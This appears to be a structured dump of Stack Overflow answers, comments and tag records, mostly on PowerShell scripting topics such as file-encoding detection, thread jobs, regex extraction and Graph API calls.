type: Answer
score: 0

svn
type: Tag
tags question: http://stackoverflow.com/q/79181934
tag name: svn
tags question: http://stackoverflow.com/q/79400555

http://stackoverflow.com/comment/139682992
comment on: http://stackoverflow.com/a/79201672
score: 1
type: AnswerComment
has text: Thank you, @alx9r - I've added a link to your issue to the answer.
type: Comment

compare
tags question: http://stackoverflow.com/q/79173069
type: Tag
tag name: compare

http://stackoverflow.com/a/79173094
score: 0
answers question: http://stackoverflow.com/q/79173076
has body: Apparently it was my $pd parameter, that was a problem. After changing it to $pwd, everything worked. I don't understand why my try catch did not capture anything going wrong.
has comment: http://stackoverflow.com/comment/139610267
type: Answer

http://stackoverflow.com/comment/139560563
type: AnswerComment
comment on: http://stackoverflow.com/a/79136206
has text: you need to get a token to call app insights and add it to the http heard, will post an update later today
type: Comment
score: 0

http://stackoverflow.com/comment/139458405
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79088307
has text: [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md) - unlike the built-in _Windows PowerShell_ edition - _does_ support postpositional `&` for starting a background job on Windows, as evidenced by the output shown in the question. However, its output behavior differs from its Bash counterpart.
type: Comment

http://stackoverflow.com/comment/139694653
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79220211
has text: Does this answer your question? https://stackoverflow.com/a/32057161/15339544
score: 1

http://stackoverflow.com/a/79098857
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/139476384
upvote count: 1
answers question: http://stackoverflow.com/q/79098718
has body: Convert to character array first. Note that $bytes is 10 bytes or 80 bits long. [byte[]][char[]]$bytes 65 65 65 65 66 66 66 66 13 10
score: 1

http://stackoverflow.com/tag/c
tag name: c
type: Tag
tags question: http://stackoverflow.com/q/79088290
tags question: http://stackoverflow.com/q/79544163

http://stackoverflow.com/a/79221234
answers question: http://stackoverflow.com/q/79211988
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: Santiago Squarzon's helpful answers provide dependency-free, cross-platform solutions - though note that reading files character by character in PowerShell code is slow, and, as recommended, implementing a limit on how many bytes are read is advisable. Let me add an alternative that relies on the (POSIX-mandated) Unix file utility, albeit an enhanced implementation that must support the following non-POSIX options: --mime-encoding, -b, and -f -; fortunately, this is true for "Every known Linux distribution" and "Most known BSD distributions (FreeBSD, NetBSD, Darwin/Mac OS X, etc)", per this page maintained by the enhanced implementation's original author; a current man page can be found here. On Windows, the custom Get-FileEncoding function below also works, but if and only if: If WSL is enabled. Also, a fundamental limitation is that it only works for local file-system paths: neither paths based on mapped drives nor UNC paths are supported.[1] file recognizes a wide variety of file type based on their content[2] (rather than by their filename extension), and, as a C-based implementation, is fast. Get-FileEncoding uses file's --mime-encoding option to report a given file's character encoding, using the MIME names of encodings, as you would find in the Content-Type header of HTTP requests; e.g., us-ascii, utf-8, iso-8859-1, or utf-16le. Given that the concept of a character encoding only applies to text-based files, binary is reported for all non-text files, which can be taken advantage of as follows: # Outputs [pscustomobject] instances, each with a .Path (full file-system path) # and a Boolean .IsBinary property Get-ChildItem -File | Get-FileEncoding | Select-Object Path, @{ Name='IsBinary'; Expression={ $_.Encoding -eq 'binary' } } As the name suggests, however, Get-FileEncoding's primary purpose is to report the encoding of text files; e.g., the following reports the character encoding of all *.ps1 files in the current directory: Get-FileEncoding *.ps1 Get-FileEn…

azure-vm-extension
tags question: http://stackoverflow.com/q/79206642
tag name: azure-vm-extension
type: Tag

http://stackoverflow.com/comment/139723011
type: Comment
comment on: http://stackoverflow.com/a/79232052
score: 0
type: AnswerComment
has text: @Dan: However, as noted before, even though GPO-based policies normally _prevent_ attempts at ad-hoc overrides via an `-ExecutionPolicy Bypass` argument in a CLI call, in the case of startup / shutdown scripts, specifically, such overrides _do_ seem to work - at least in my tests on my non-domain-joined machine. For a comprehensive overview of PowerShell's execution policies - albeit without the special case at hand - see [this answer](https://stackoverflow.com/a/71564847/45375).

http://stackoverflow.com/comment/139664300
score: 5
type: QuestionComment
comment on: http://stackoverflow.com/q/79202910
type: Comment
has text: sure but instead of creating the object with the inefficient `New-Object` why not creating them, at least the basic parts, with `$item=[pscustomobject]@{ PepertyName1="Value1"; PropertyName2=33; <# etc #>}`? Also read this: https://learn.microsoft.com/en-us/powershell/scripting/dev-cross-plat/performance/script-authoring-considerations?view=powershell-7.4#use-ordereddictionary-to-dynamically-create-new-objects

grouping
type: Tag
tags question: http://stackoverflow.com/q/79153057
tag name: grouping

http://stackoverflow.com/comment/139598502
has text: `Import-Module` doesn't export the classes defined in the `psm1`. You'll need the `using module` in the `$scriptblock` but then you will have a parsing error which you can handle by defining it as a string and using `[scriptblock]::Create`.
comment on: http://stackoverflow.com/q/79167030
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139610109
type: QuestionComment
type: Comment
has text: Your new edit implies that the processing part is happening before `MagicFunction`, the parallel loop is meant to split the work among multiple threads. The first loop should be the one where you use `-Parallel`
comment on: http://stackoverflow.com/q/79172648
score: 0

http://stackoverflow.com/a/79088304
has comment: http://stackoverflow.com/comment/139459109
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79088290
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/79088290
downvote count: 0
has body: Type it into bash and it will work. &amp; means run in background in bash, but it means something else in powershell; I'm surprised you didn't get an error message.
type: Answer

http://stackoverflow.com/comment/139521963
type: QuestionComment
comment on: http://stackoverflow.com/q/79120662
type: Comment
has text: I've already tried with those options ("${var}...HEAD" returns an error, but "${var}"...HEAD doesn't return anything), but to no use. When I do an "echo" of the variable it returns the value that I assigned, but for some reason it doesn't work on the "git log" command.
score: 0

http://stackoverflow.com/comment/139720412
type: QuestionComment
has text: @Compo, the semantic discussion is going nowhere, but let me leave no doubt that I think that "In PowerShell the -Format string should be quoted, yours is not." is misguided as general advice, and, even if it were good advice, misleading in the case at hand, due to lack of framing.
type: Comment
comment on: http://stackoverflow.com/q/79227225
score: 0

http://stackoverflow.com/comment/139689170
comment on: http://stackoverflow.com/a/79216844
type: Comment
score: 1
has text: Thank you works great after I worked on it to customize to the actual original CSV and JSON that I can't share here. Ridiculously fast compared to foreach and i still don't know how it works exactly but I'll read about it. Very helpful method. Thanks again
type: AnswerComment

http://stackoverflow.com/comment/139598451
score: 1
has text: "an PowerShell comment" looks like a couple of typos. Did you mean "a PowerShell command"?
type: QuestionComment
comment on: http://stackoverflow.com/q/79166949
type: Comment

pester
tags question: http://stackoverflow.com/q/79226220
tag name: pester
type: Tag
tags question: http://stackoverflow.com/q/79072962
tags question: http://stackoverflow.com/q/79326343
tags question: http://stackoverflow.com/q/79415861
tags question: http://stackoverflow.com/q/79433705
tags question: http://stackoverflow.com/q/79437523
tags question: http://stackoverflow.com/q/79442296

http://stackoverflow.com/comment/139480560
type: Comment
has text: Because this way you're not re-querying AD to get the identity of each member of each group (what `Get-ADGroupMember` does), this way only checks if a group has members or not @ThiagoLuan
comment on: http://stackoverflow.com/a/79102125
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139704009
score: 1
comment on: http://stackoverflow.com/q/79208164
has text: @G42, I'm not sure what the prompt function has to do with npm setting the title. And I need the title set WHILE npm is running (because it shouldn't stop unless the application stops).
type: QuestionComment
type: Comment

pscustomobject
type: Tag
tags question: http://stackoverflow.com/q/79170631
tag name: pscustomobject
tags question: http://stackoverflow.com/q/79277663
tags question: http://stackoverflow.com/q/79446811

http://stackoverflow.com/comment/139688896
comment on: http://stackoverflow.com/q/79216817
score: 0
has text: That is impossible. I get a ton of email addresses from our old system's database, upload to a new system then i download the CSV from the new system. Then I'm downloading a CSV that I convert to JSON in the format above, so there should be no "unused" email addresses, neither should be a missing one.
type: QuestionComment
type: Comment

command-line-interface
type: Tag
tags question: http://stackoverflow.com/q/79091839
tags question: http://stackoverflow.com/q/79077628
tags question: http://stackoverflow.com/q/79185963
tag name: command-line-interface
tags question: http://stackoverflow.com/q/79285339
tags question: http://stackoverflow.com/q/79420334
tags question: http://stackoverflow.com/q/79491111

http://stackoverflow.com/a/79145770
answers question: http://stackoverflow.com/q/79141597
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79141597
downvote count: 0
type: Answer
score: 2
upvote count: 2
has body: While you could make your Start-Process -NoNewWindow approach work if you added saving and restoring the current cursor location, it has two downsides (on Windows; doesn't affect Unix-like platforms): Pressing Ctrl+C in the session doesn't just abort any foreground operation, but also the time-displaying process. Conversely, when you exit the session, the time-displaying process lingers and keeps the console window open, giving the impression of a hang; pressing Ctrl+C terminates that process too and closes the window. The best solution is to use a thread (parallel PowerShell runspace) in which to run the time-displaying code, which is most easily achieved with the Start-ThreadJob cmdlet.[1] This cmdlet comes with PowerShell (Core) 7. In Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) it can be installed on demand, using, e.g., Install-Module ThreadJob -Scope CurrentUser The following, which is a translation of your bash command,[2] works in both PowerShell editions, in both regular console windows and in Windows Terminal, and also on Unix-like platforms (assuming that the terminal of interest supports saving and restoring the cursor position via ANSI escape sequences):[3] # See below for an alternative that doesn't require Start-ThreadJob. $null = Start-ThreadJob { $esc = [char] 0x1B while ($true) { [Console]::Write(( '{0}[s{0}[0;{1}H{0}[30;47m{2}{0}[m{0}[u' -f $esc, ([Console]::WindowWidth - 7), [datetime]::Now.ToString('HH:mm:ss') )) Start-Sleep -Seconds 1 } } Note: While PowerShell jobs, unlike Bash jobs, do not print their output directly to the console (and instead require on-demand retrieval of output via Receive-Job, the [Console] .NET class provides direct access to the caller's console (terminal). On Windows PowerShell, if you cannot / don't want to install the module that contains Start-ThreadJob, you can use the PowerShell SDK directly, as follows: $scriptBlock = { $esc = [char]…

http://stackoverflow.com/a/79127475
answers question: http://stackoverflow.com/q/79127406
has body: You could make the regex a bit more specific and get the capture group 1 value. \bMerged\s+PR\s+\d+:\s*#?(\d+): The regex matches: \bMerged\s+ Match the word Merged and 1+ whitespace chars PR\s+ match PR and 1+ whitespace chars \d+:\s* Match 1+ digits, then : and optional whitspace chars #(\d+): Match an optional # then capture 1+ digits and match : See the regex match and capture group in this regex demo and a <a href="https://tio.run/##XZBNT8JAEIbv@ysm0ASVtJEIik2McEAlEWnAyMEas21HWll2m9lpGqP@9roGwoHLZA7v88xHaWokm6NSTeOtC34oLMMNjFpihrTGDKIF9K7OB4MQrvuXw4sQxlkGiUw3UGh4JpQMK0m60GsL0sKEyJA9gvshtB09GO7oea2RpvrDABuQWUZoLWSSJdQ5athWiotSISiTSi6MtkDIFWknTL7gMVoGojUSwislM5J263biZDcxtt1o4UqcdcPYnrVvT1x3GnaEt5Wc5mhd@HDmDyxRYcr@ksntD360Fx7M/lip2Q4UXm1oM2XcPlXbxP3s37SXBvuMM94Zmsg09@fJpzPDN3jvwT2ZqrSvvbfgRaoK4VeIFRWM/rzismI4NjfNHw" rel="nofollow noreferrer">Powershell demo. $pattern = '\bMerged\s+PR\s+\d+:\s*#?(\d+):' $matches = $gitHist | Select-String -Pattern $pattern -AllMatches $workItemNumbers = $matches.Matches | ForEach-Object { $_.Groups[1].Value }
type: Answer
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/139510275
type: QuestionComment
type: Comment
score: 0
has text: -filter would help
comment on: http://stackoverflow.com/q/79118908

http://stackoverflow.com/comment/139479759
comment on: http://stackoverflow.com/q/79099681
type: QuestionComment
type: Comment
score: 0
has text: Yes, I gave script for member only. Please check the answer and let me know if it works : )

http://stackoverflow.com/comment/139449773
score: 1
comment on: http://stackoverflow.com/q/79085336
has text: Locate one of the mailboxes that the user can unexpectedly manage, review the ACL on that mailbox/folder, then figure out (trial by elimination) which group memberships he has that satisfies any appropriate ACE's on the mailbox/folder
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139434947
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79077603
has text: @mclayton yes but.. is it Teh Most Efficient? ;P
type: AnswerComment

http://stackoverflow.com/comment/139459126
type: Comment
has text: That said, it is easy to adapt the command line to get the desired behavior, and it can even be made to work in _Windows PowerShell_, by using `Start-Job` in lieu of the background operator (`&`).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79088307

http://stackoverflow.com/comment/139655547
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79198109
has text: These are all great solutions for transferring from servers that do not require very involved authentications, thank you. :) Unfortunately, the use-case that I am targetting would require me to undergo three separate authentication steps per scp command (or file, if using solutions 2 or 3), and so I cannot feasibly use them there.
type: AnswerComment

powershell-5.1
type: Tag
tags question: http://stackoverflow.com/q/79162911
tags question: http://stackoverflow.com/q/79202450
tags question: http://stackoverflow.com/q/79110476
tags question: http://stackoverflow.com/q/79219297
tags question: http://stackoverflow.com/q/79093149
tags question: http://stackoverflow.com/q/79103970
tag name: powershell-5.1
tags question: http://stackoverflow.com/q/79351371
tags question: http://stackoverflow.com/q/79419029
tags question: http://stackoverflow.com/q/79364722
tags question: http://stackoverflow.com/q/79377035
tags question: http://stackoverflow.com/q/79400911
tags question: http://stackoverflow.com/q/79312111
tags question: http://stackoverflow.com/q/79294580
tags question: http://stackoverflow.com/q/79476092
tags question: http://stackoverflow.com/q/79532202
tags question: http://stackoverflow.com/q/79441857

startup
tags question: http://stackoverflow.com/q/79088047
tag name: startup
type: Tag
tags question: http://stackoverflow.com/q/79547284

http://stackoverflow.com/comment/139611568
comment on: http://stackoverflow.com/q/79173936
type: QuestionComment
has text: `ContainsData` and `GetData` is for specific binary formats. Whereas HTML is a text format, so try using `ContainsText` - and instead of using magic-strings like`'text'` or `'html'` you should be using the named members in `DataFormats`: https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.dataformats?view=windowsdesktop-8.0
score: 2
type: Comment

http://stackoverflow.com/a/79162518
has body: Get-CMDeploymentStatus does not have a Property ResourceName that represents a device. In fact it has no info about devices at all. What you can do is pipe its returned object into Get-CMDeploymentStatusDetails to get that information. This will already be an array of device statusinfos so the whole matching against the devices you got in a loop is not necessary. So it would look a bit like this: $status = Get-CMDeploymentStatus -DeploymentID $deploymentID | Get-CMDeploymentStatusDetails foreach($s in $status) { Write-Host "Status for device $($s.DeviceName): $($s.StatusType) ($($s.StatusDescription))" } You don't even have to really check for unknown. It would just be StatusType 4 (not a missing status). Also note the StatusDescription can contain more details than the StatusType ("executed successfully", and "no need to rerun" both would be 1 e.g.)
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79115944

http://stackoverflow.com/comment/139423179
type: QuestionComment
comment on: http://stackoverflow.com/q/79069816
type: Comment
score: 2
has text: @zett42 the default `WideControl` control for `DirectoryInfo` and `FileInfo` are using `Name` instead of `NameString` :) that's about it

http://stackoverflow.com/comment/139598465
type: QuestionComment
has text: Isn't the XML encoded in UTF-16?
comment on: http://stackoverflow.com/q/79166949
type: Comment
score: 0

http://stackoverflow.com/comment/139726265
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79228955
has text: @not2qubit token is defined in `$src = [System.Threading.CancellationTokenSource]::new()` and passed-in to the runspace thru the proxy on `$ps.Runspace.SessionStateProxy.SetVariable('token', $src.Token)`. This approach is simpler and doesnt require an event to restart the listener.
type: AnswerComment

http://stackoverflow.com/comment/139695152
has text: Set up the listener on a different thread, that class has async counterparts... you can also start the process in a different runspace and hook the output to your `$Host` or subscribe to `DataAdding`
type: QuestionComment
comment on: http://stackoverflow.com/q/79220211
type: Comment
score: 0

http://stackoverflow.com/a/79164427
answers question: http://stackoverflow.com/q/79164005
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79164005
type: AcceptedAnswer
type: Answer
score: 3
upvote count: 3
has body: You're seeing a bug, affecting both Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) and PowerShell (Core) 7 (the modern, cross-platform, install-on-demand edition) as of v7.4.x: Unless Get-PhysicalDisk's output objects are [psobject]-wrapped, ConvertTo-Json doesn't serialize their ETS (Extended Type System) properties. As such, this bug is yet another manifestation of the problem discussed in GitHub issue #5579, namely that the presence or absence of the meant-to-be-invisible helper type [psobject] causes changes in behavior. The bug at hand affects all CDXML-based cmdlets that do not emit [psobject] wrapped objects themselves, and has been reported in GitHub issue #24554. In the pipeline, this [psobject]-wrapping happens implicitly, whereas it doesn't when you pass the results of a call as an argument. Note, however, that many cmdlets themselves perform this wrapping of their output objects, such as Get-Date or Get-ChildItem, so that their output is [psobject]-wrapped even when passed by argument. Workaround: By piping the output to Write-Output, which simply relays it, [psobject] wrapping is ensured: $jsonString = ConvertTo-Json -InputObject (Get-PhysicalDisk | Write-Output)

http://stackoverflow.com/comment/139664957
has text: It happens to have no ill effects in your case, but note that `if (Is-SMBInstalled -eq $true) ...` indeed needs to be `if ((Is-SMBInstalled) -eq $true) ...`, as explained in the [answer you linked to](https://stackoverflow.com/a/66585435/14097947); without the `(...)` around the function call, `-eq` and `$true` are passed as _arguments_ to your `Is-SMBInstalled` function (which the latter happens to ignore).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79202450
score: 0

import-csv
type: Tag
tags question: http://stackoverflow.com/q/79152963
tag name: import-csv

http://stackoverflow.com/a/79126115
answers question: http://stackoverflow.com/q/79125645
has comment: http://stackoverflow.com/comment/139524906
has body: Technically you are not starting a process, you are forcing Windows to make an election based on "type association" in this case the type is a UNC path which should run explorer, but by that time it's ignored the minimized preference. What if you try this? Start-Process explorer.exe -ArgumentList "\\share\directory\" -WindowStyle Minimized; It worked for me, but then I could never "restore" or view the window. That may be what you want but I'm not sure what you're trying to do. UPDATE: While waiting for stack overflow's 30 minute rule I did eventually see that it showed the explorer window in a 2 inch square unusual size. The point is to manipulate the window behavior you have to actually call an executable where the window size can be manipulated.
downvote count: 1
type: Answer
upvote count: 0
has comment: http://stackoverflow.com/comment/139525167
score: -1

http://stackoverflow.com/comment/139517501
type: Comment
has text: Sorry, i included the wrong code, i edited the post so runspaces are there now.
score: 0
comment on: http://stackoverflow.com/a/79120041
type: AnswerComment

http://stackoverflow.com/comment/139559886
comment on: http://stackoverflow.com/q/79145598
has text: @SantiagoSquarzon, due to a bug in `Start-Process` you do _not_ need to separate option names and values (you do in direct invocation, however). This is owed to a long-standing `Start-Process` bug. The only problem here is the use of _embedded single-quoting_ in the `"-workDir 'e:\myFolder\Jenkins\'"` argument.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79098253
has body: Currently, it's not possible to retrieve 'Attributes &amp; Claims' from a SAML Entra application configuration via PowerShell or Graph API. The only way as of now is via Azure Portal. I have one Enterprise application with 'Attributes &amp; Claims' values as below: When I tried running same PowerShell command as you to, it will give null as below: Get-MgServicePrincipalClaimMappingPolicy -ServicePrincipalId &lt;sp_id&gt; Response: Even Graph API queries results null response as there are no claim mapping policies assigned to service principal: GET https://graph.microsoft.com/v1.0/servicePrincipals/sp_Id/claimsMappingPolicies Response: To create claim mapping policies via PowerShell, you can refer this MS Document and assign them to service principal. Reference: Read 'Attribute &amp; Claims' from SAML Entra application configuration using PowerShell - Microsoft Q&amp;A by Raja Pothuraju
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79093007
score: 1
upvote count: 1

callback
type: Tag
tag name: callback
tags question: http://stackoverflow.com/q/79098593

http://stackoverflow.com/comment/139533133
has text: @RonRosenfeld, unfortunately, yes. I've also added information near the top of the answer about how to avoid UAC prompts, which is generally ill-advised for security reasons, however.
type: Comment
comment on: http://stackoverflow.com/a/79131379
score: 1
type: AnswerComment

appx
tag name: appx
type: Tag
tags question: http://stackoverflow.com/q/79189697
tags question: http://stackoverflow.com/q/79324379

http://stackoverflow.com/comment/139484724
has text: I can't see where there is perhaps an error with quotes not being closed, but I do have two remarks: **[1]** Your function `Get-RemovableDrives` is in fact returning **all** drives except the C drive. You could replace that with `(Get-Volume | Where-Object {$_.DriveLetter -ne 'C' -and $_.DriveType -eq 'Removable'}).DriveLetter` **[2]** Are you sure the `-ScanPath` parameter for `Start-MpScan` allows a _bare_ driveletter like just `F` instead of `F:` (especially since you are combining it with a backslash..)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79094796
score: 0

http://stackoverflow.com/comment/139618823
comment on: http://stackoverflow.com/q/79177923
has text: Running winget as the system user from the winget install directory? https://community.spiceworks.com/t/winget-fails-to-upgrade-apps-when-run-as-system/1058983 Winget doesn't seem ready for prime time.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139663119
type: Comment
has text: It i working fine, thank you very much for your help
score: 1
comment on: http://stackoverflow.com/a/79199716
type: AnswerComment

http://stackoverflow.com/a/79120127
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79117908
has body: From the error your getting it look like this line if failing $NextPageRequest = (Invoke-RestMethod -Headers @{Authorization = "Bearer $($Token)" } -Uri $NextPageURI -Method Get) Mostly likely I would say that $NextPageURI is invalid but you don't do any error processing in your script so it could be the App itself isn't working at all and the token you sending is blank. If you can run the script through fiddler and look at the actual request that is being sent, this allows you to see the full error message as there are some extra details you might be getting with the 401. other things to check Is the Mailbox on Litigation hold The access token your using has expired (doesn't look to be the case from the code but maybe in context) Mailbox is over one of quota Check the actually permission in the token being returned using jwt.io Your script doesn't do an error handling so if it fails to delete one contact it fails the whole process. I would start with a simple try catch around your delete requests to see if it just a particular contact or all contacts it cant delete. While rare these days you can get corrupt items in a mailbox and the Graph isn't always able to return good errors in these type of edge cases. You could look to use the PowerShell Graph SDK, some advantages of this is it will handle Token expiration and renewal and it will also do retries and handling throttling and will parse the Graph requests for you. eg a simple find and delete one contact example using client credentials # Define the Application (Client) ID and Secret $ApplicationClientId = '12928ba2-2b75-4d04-9916-xxxxxxxxxx' # Application (Client) ID $ApplicationClientSecret = 'gxxxxQ' # Application Secret Value $TenantId = '1c3a18bf-da31-4f6c-a404-xxxxxxxx' # Tenant ID # Convert the Client Secret to a Secure String $SecureClientSecret = ConvertTo-SecureString -String $ApplicationClientSecret -AsPlainText -Force # Create a PSCredential Object Using the Client ID and Secure Client Secret $ClientS…

http://stackoverflow.com/comment/139699574
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79212301
type: Comment
has text: Example of a file that is all text, but has something that makes the above function decide that it's binary; but a `select-string` etc will see it as text. PS C:\> Format-Hex .\csb.log Label: C:\csb.log Offset Bytes Ascii 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F ------ ----------------------------------------------- ----- 0000000000000000 54 68 69 73 20 69 73 20 61 20 74 65 78 74 20 66 This is a text f 0000000000000010 69 6C 65 21 00 0D 0A ile! ��

http://stackoverflow.com/comment/139593367
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79162274
has text: If you aren't going to add, subtract, multiply, etc. contract numbers, just store it as a string (e.g., NVARCHAR(32)). Generally, if the number isn't used in math, store it as a string. With exceptions of course, such as INT/BIGINT IDENTITY fields and some others.
type: AnswerComment

http://stackoverflow.com/comment/139477426
type: QuestionComment
type: Comment
score: 0
has text: Could you confirm whether your requirement is to add user to member or owner role https://i.imgur.com/6hD9OlF.png?
comment on: http://stackoverflow.com/q/79099681

http://stackoverflow.com/comment/139678247
type: Comment
has text: let me test 1st, im using Windows, you tested this ?, it will appear the two or more scale rules ? the command accepts the file config. ? is part of that command ? if the file is in the same folder of the script, enough to point it in the command ? TYsm,, after testing if it works i will accept.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79210674

http://stackoverflow.com/comment/139653049
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79196973
has text: `Get-Content` also has a parameter `-Encoding` and you need to make sure it uses UTF8 when reading the file. However, since this is about a CSV file, why not use cmdlets written especially for that purpose? `Import-Csv -Path "C:\tmp\PSProjekt\schueler.csv" -Encoding UTF8 | Export-Csv -Path "C:\tmp\PSProjekt\lol\schueler_Unicode.csv" -Encoding Unicode -NoTypeInformation`
score: 1

http://stackoverflow.com/a/79077582
type: Answer
score: 0
has body: Continuing on the helpful answer from Santiago Squarzon with a general approach: Iterating through an object-graph resulted from cmdlets as ConvertFrom-Json appears to be a quiet common use-case in PowerShell. Therefore I have tagged several other examples with: powershell/object-graph In your case, it might come in handy to understand the path a of specific (leaf) node, e.g.: Install-Module -Name ObjectGraphTools $Data = Get-Content $FileName -Raw | ConvertFrom-Json $Data | Get-ChildNode -Recurse -Leaf Path Name Depth Value ---- ---- ----- ----- aps[0].macaddr macaddr 3 xx:xx:xx:xx:xx:xx aps[0].name name 3 **WAP01** aps[0].radio_bssids[0].bssids[0].essid essid 7 wifiguest aps[0].radio_bssids[0].bssids[0].macaddr macaddr 7 **xx:xx:xx:xx:xx:xx** ... This might help you to address the specific nodes. Using the included Extended Dot Notation expression you might even easier target specific nodes and avoid several embedded foreach loops. In the example below I am also using the standard PowerShell feature called calculated properties: $Data | Get-Node ~essid=wifiguest/wifitrusted | Select-Object ( @{ Name = 'WAP'; Expression = { $_.GetNode('......Name').Value } }, @{ Name = 'ESSID'; Expression = { $_.Value } }, @{ Name = 'MACAddr'; Expression = { $_.GetNode('..macaddr').Value } }, @{ Name = 'Index'; Expression = { $_.GetNode('....index').Value } } ) WAP ESSID MACAddr Index --- ----- ------- ----- **WAP01** wifiguest **xx:xx:xx:xx:xx:xx** 0 **WAP01** wifitrusted **xx:xx:xx:xx:xx:xx** 0 **WAP01** wifiguest **xx:xx:xx:xx:xx:xx** 1 **WAP01** wifitrusted **xx:xx:xx:xx:xx:xx** 1 **WAP02** wifiguest **xx:xx:xx:xx:xx:xx** 0 **WAP02** wifitrusted **xx:xx:xx:xx:xx:xx** 0 **WAP02** wifiguest **xx:xx:xx:xx:xx:xx** 1 **WAP02** wifitrusted **xx:xx:xx:xx:xx:xx** 1 Explanation: ~ search for any leaf node named: essid and a value of: =wifiguest or: /wifitrusted (A full specific member access enumeration path as aps.radio_bssids.bssids.essid=wifiguest/wifitrusted could also be used here)…
answers question: http://stackoverflow.com/q/79075877

kubernetes
tags question: http://stackoverflow.com/q/79211591
tag name: kubernetes
tags question: http://stackoverflow.com/q/79203992
type: Tag
tags question: http://stackoverflow.com/q/79353181
tags question: http://stackoverflow.com/q/79457479

http://stackoverflow.com/a/79153264
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79152963
has body: You might use the PSParser.Tokenize Method for this: $NameList = Get-Content -Raw .\NamesList.csv [System.Management.Automation.PSParser]::Tokenize($NameList, [ref]$null) | Format-Table Yields: Content Type Start Length StartLine StartColumn EndLine EndColumn ------- ---- ----- ------ --------- ----------- ------- --------- … NewLine 0 1 1 1 2 1 Richard Command 1 7 2 1 2 8 Roe CommandArgument 9 3 2 9 2 12 … NewLine 12 1 2 12 3 1 Mary Command 13 4 3 1 3 5 Major CommandArgument 18 5 3 6 3 11 … NewLine 23 1 3 11 4 1 Alex Smith… String 24 36 4 1 6 13 … NewLine 60 1 6 13 7 1 … NewLine 61 1 7 1 8 1 Betty Brown… String 62 38 8 1 10 14 … NewLine 100 1 10 14 11 1 … NewLine 101 1 11 1 12 1 Alex Command 102 4 12 1 12 5 Smith CommandArgument 107 5 12 6 12 11 … NewLine 112 1 12 11 13 1 … NewLine 113 1 13 1 14 1 Richard Roe… String 114 24 14 1 15 12

dns
tag name: dns
type: Tag
tags question: http://stackoverflow.com/q/79185230

http://stackoverflow.com/comment/139723560
comment on: http://stackoverflow.com/q/79235723
score: 0
has text: Works fine, I can't reproduce, I'm currently on Windows 11 24H2. It may be due to some 3rd party extension you've installed on your PC.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139542989
has text: yes, if i did not set the Console as parent, the form opens in a separate window and works fine, the problem is only when i embed the form inside console
comment on: http://stackoverflow.com/q/79136967
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79193025
answers question: http://stackoverflow.com/q/79188846
type: Answer
score: 0
has body: I was thinking what if you try to use PowerShell commands instead of trying to screen scrape from Google Chrome? Invoke-WebRequest -Uri "https://192.168.1.1" | Select-Object -ExpandProperty StatusCode This will return a 200 series response if the site is healthy and 300, 400, 500 if the site is not healthy.

http://stackoverflow.com/a/79126005
type: Answer
has body: Even the help says you can use recurse and the directory switch together. However, this is kind of interesting. . . Measure-Command { Get-ChildItem -Attributes Directory -Recurse } Days : 0 Hours : 0 Minutes : 0 Seconds : 0 Milliseconds : 37 Ticks : 378159 TotalDays : 4.37684027777778E-07 TotalHours : 1.05044166666667E-05 TotalMinutes : 0.000630265 TotalSeconds : 0.0378159 TotalMilliseconds : 37.8159 Measure-Command { Get-ChildItem -Directory -Recurse } Days : 0 Hours : 0 Minutes : 0 Seconds : 0 Milliseconds : 40 Ticks : 409181 TotalDays : 4.7358912037037E-07 TotalHours : 1.13661388888889E-05 TotalMinutes : 0.000681968333333333 TotalSeconds : 0.0409181 TotalMilliseconds : 40.9181 The one with the Directory switch does take a bit longer. What happens if YOU try the "-Attributes Directory" parameter on your setup?
score: 0
has comment: http://stackoverflow.com/comment/139535259
answers question: http://stackoverflow.com/q/79118908

http://stackoverflow.com/comment/139621260
type: Comment
has text: @mklement0 : The forms method only gets all screens on one monitor, not multiple monitors. To get multiple monitors you need the handle for each monitor.
comment on: http://stackoverflow.com/a/79177773
score: 0
type: AnswerComment

math
tags question: http://stackoverflow.com/q/79174092
tag name: math
type: Tag

http://stackoverflow.com/comment/139619692
type: QuestionComment
type: Comment
has text: thanks for hint, but same message
comment on: http://stackoverflow.com/q/79178285
score: 0

topological-sort
tags question: http://stackoverflow.com/q/79173069
tag name: topological-sort
type: Tag

powershell-core
tags question: http://stackoverflow.com/q/79124047
tag name: powershell-core
tags question: http://stackoverflow.com/q/79109509
type: Tag
tags question: http://stackoverflow.com/q/79262609
tags question: http://stackoverflow.com/q/79311228
tags question: http://stackoverflow.com/q/79291391
tags question: http://stackoverflow.com/q/79362806
tags question: http://stackoverflow.com/q/79363011
